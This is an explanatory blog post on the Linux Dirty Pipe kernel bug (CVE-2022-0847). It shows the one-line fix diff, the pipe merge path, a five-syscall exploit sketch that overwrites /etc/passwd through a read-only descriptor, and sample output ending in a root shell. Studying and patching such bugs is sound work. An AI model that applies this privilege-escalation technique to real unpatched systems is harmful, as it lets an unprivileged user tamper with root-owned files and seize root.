algoatson.github.io ~/posts
segfault@algoatson.github.io
back to index

Dirty Pipe (CVE-2022-0847): one uninitialised flag

2026-06-034 min readkernel pwn

Most of this series is about corrupting kernel memory. Dirty Pipe is the opposite kind of bug — no overflow, no UAF, no gadgets. A single struct field went uninitialised, and the consequence is that you can write into files you have no permission to write. It's worth reading precisely because the root cause is so small and the impact so total.

target
cve
CVE-2022-0847 ("Dirty Pipe")
affected
Linux 5.8 .. 5.16.11 / 5.15.25 / 5.10.102
primitive
overwrite the page cache of any readable file
impact
LPE — clobber /etc/passwd, a SUID binary, a root-owned config

the moving parts: pipe buffers and CAN_MERGE#

A pipe is a ring of pipe_buffer structs, each pointing at a page and carrying flags:

struct pipe_bufferc
1
2
3
4
5
6
7
struct pipe_buffer {
    struct page *page;        /* the backing page */
    unsigned int offset, len; /* data region within the page */
    const struct pipe_buf_operations *ops;
    unsigned int flags;       /* <- PIPE_BUF_FLAG_CAN_MERGE lives here */
    unsigned long private;
};

PIPE_BUF_FLAG_CAN_MERGE (added in 5.8) means "a following write() may append into this buffer's existing page instead of allocating a new one." Anonymous pipe writes set it. The slots are reused as the ring cycles — and that reuse is the whole bug.

the root cause: a flag nobody cleared#

When you splice() a file into a pipe, the kernel makes a pipe buffer that points straight at the file's page-cache page (a read-only reference — no copy). The function that builds that buffer set page, offset, len, ops … and forgot flags:

the fix — fs/splice.c and lib/iov_iter.cdiff
1
2
3
4
5
  buf->ops    = &page_cache_pipe_buf_ops;
+ buf->flags  = 0;
  buf->page   = page;
  buf->offset = offset;
  buf->len    = bytes;

Without that buf->flags = 0, the buffer inherits whatever the slot held last time. Cycle the pipe through anonymous writes first and every slot carries a stale CAN_MERGE. Now the spliced buffer — pointing at a file's page cache — is also marked mergeable. The next write() takes the merge path:

pipe_write(), the merge branch (paraphrased)c
1
2
3
4
5
6
if (buf->ops != NULL &&
    (buf->flags & PIPE_BUF_FLAG_CAN_MERGE)) {     /* stale flag = true */
    /* append straight into the existing page ... */
    ret = copy_page_from_iter(buf->page, buf->offset + buf->len, chars, from);
    /* ...the file's page-cache page — no dirty, no perms check, no FS write path */
}

That copy_page_from_iter writes your bytes into the page cache of a file you opened O_RDONLY. No write permission was checked, the page isn't even marked dirty. Readers immediately see the modified content; it can be written back to disk later.

the exploit, in five syscalls#

dirtypipe.c (sketch)c
1
2
3
4
5
6
7
8
9
int fd = open("/etc/passwd", O_RDONLY);          // we only need READ
int p[2]; pipe(p);

fill_and_drain(p);    // write a pipe-full of junk, read it all back
                      //   -> every pipe_buffer slot now has CAN_MERGE set (stale)
splice(fd, &offset, p[1], NULL, 1, 0);           // buffer -> page-cache page of the file
                      //   (slot reused, CAN_MERGE still set — the bug)
write(p[1], payload, payload_len);               // merges into the file's page cache
                      //   -> /etc/passwd is now rewritten, from a read-only fd
root from a read-only open

Splice just before the root password hash, write a known one, su:

txt
1
2
3
4
5
[*] CAN_MERGE primed on all pipe slots
[*] spliced /etc/passwd @ off 0x1; merged 34 bytes into the page cache
# id
uid=0(root) gid=0(root)
segfault{a_missing_assignment_is_a_root_shell}

the three constraints#

The bug is powerful but not unlimited — and the limits fall straight out of how the merge works:

  • Can't write the first byte of a page. The splice has to leave a non-zero offset/len for the merge to append after, so the overwrite starts at offset ≥ 1 within each page. (Pick targets where byte 0 of the page is untouched.)
  • Can't cross a page boundary in one shot — each page-cache page is its own buffer. Overwrite page by page.
  • Can't extend the file. You overwrite existing bytes in the cache; you can't grow it. So you edit /etc/passwd in place, or patch bytes of a SUID binary.

The lesson Dirty Pipe drives home: a kernel bug doesn't need corrupted pointers or a single ROP gadget. One field left uninitialised on a hot path — a flags the compiler will happily leave holding old data — bridges "I can read this file" to "I can rewrite it," and on Linux that's root. Read the patch: it's one line, and that one line is the whole vulnerability.